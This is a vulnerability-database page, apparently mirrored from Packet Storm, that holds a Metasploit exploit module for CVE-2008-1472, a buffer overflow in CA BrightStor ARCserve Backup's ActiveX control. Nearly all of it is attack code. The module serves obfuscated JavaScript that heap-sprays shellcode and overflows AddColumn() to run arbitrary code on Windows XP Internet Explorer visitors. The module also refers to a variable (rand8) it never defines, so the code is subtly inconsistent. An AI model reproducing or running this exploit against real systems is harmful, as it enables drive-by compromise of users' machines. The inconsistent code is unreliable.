CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer Overflow

2009-11-2600:00:00
dean
packetstormsecurity.com
0.931 High
EPSS
Percentile
98.8%
JSON
`###  
## This file is part of the Metasploit Framework and may be subject to  
## redistribution and commercial restrictions. Please see the Metasploit  
## Framework web site for more information on licensing and terms of use.  
## http://metasploit.com/framework/  
###  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'CA BrightStor ARCserve Backup AddColumn() ActiveX Buffer Overflow',  
'Description' => %q{  
The CA BrightStor ARCserve Backup ActiveX control (ListCtrl.ocx) is vulnerable to a stack-based  
buffer overflow. By passing an overly long argument to the AddColumn() method, a remote attacker   
could overflow a buffer and execute arbitrary code on the system.  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'dean <dean [at] zerodaysolutions [dot] com>' ],   
'Version' => '$Revision',  
'References' =>   
[  
[ 'CVE', '2008-1472' ],  
[ 'OSVDB', '43214' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP2-SP3 IE 6.0/7.0', { 'Ret' => 0x0A0A0A0A } ]   
],  
'DisclosureDate' => 'March 16 2008',  
'DefaultTarget' => 0))  
end  
  
def autofilter  
false  
end  
  
def check_dependencies  
use_zlib  
end  
  
def on_request_uri(cli, request)  
# Re-generate the payload.  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Encode the shellcode.  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Create some nops.  
nops = Rex::Text.to_unescape(make_nops(4))  
  
# Set the return.  
ret = Rex::Text.to_unescape([target.ret].pack('V'))  
  
# Randomize the javascript variable names.  
vname = rand_text_alpha(rand(30) + 1)  
var_i = rand_text_alpha(rand(5) + 1)  
rand1 = rand_text_alpha(rand(100) + 1)  
rand2 = rand_text_alpha(rand(100) + 1)  
rand3 = rand_text_alpha(rand(100) + 1)  
rand4 = rand_text_alpha(rand(100) + 1)  
rand5 = rand_text_alpha(rand(100) + 1)  
rand6 = rand_text_alpha(rand(100) + 1)  
rand7 = rand_text_alpha(rand(100) + 1)  
  
content = %Q|  
<html>  
<object id="#{vname}" classid="clsid:BF6EFFF3-4558-4C4C-ADAF-A87891C5F3A3"></object>  
<script>  
  
var #{rand1} = unescape("#{shellcode}");  
var #{rand2} = 0x0A0A0A0A;  
var #{rand3} = 0x400000;  
var #{rand4} = (#{rand2} - #{rand3}) / #{rand3};  
var #{rand5} = unescape("#{ret}");  
var #{rand6} = 128;  
  
while((#{rand5}.length * 2) < #{rand3}) #{rand5} += #{rand5};  
#{rand5} = #{rand5}.substring(0, #{rand3} - #{rand1}.length);  
#{rand8} = new Array();  
for(#{var_i} = 0; #{var_i} < #{rand4}; #{var_i}++) #{rand7}[#{var_i}] = #{rand5} + #{rand1};  
while(#{rand5}.length < (#{rand6} * 2)) #{rand5} += #{rand5};  
#{rand5} = #{rand5}.substring(0, #{rand6});  
  
#{vname}.AddColumn(#{rand5}, 1);  
</script>  
</html>  
|  
  
content = Rex::Text.randomize_space(content)  
  
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response_html(cli, content)  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`
0.931 High
EPSS
Percentile
98.8%
JSON
Related for PACKETSTORM:82950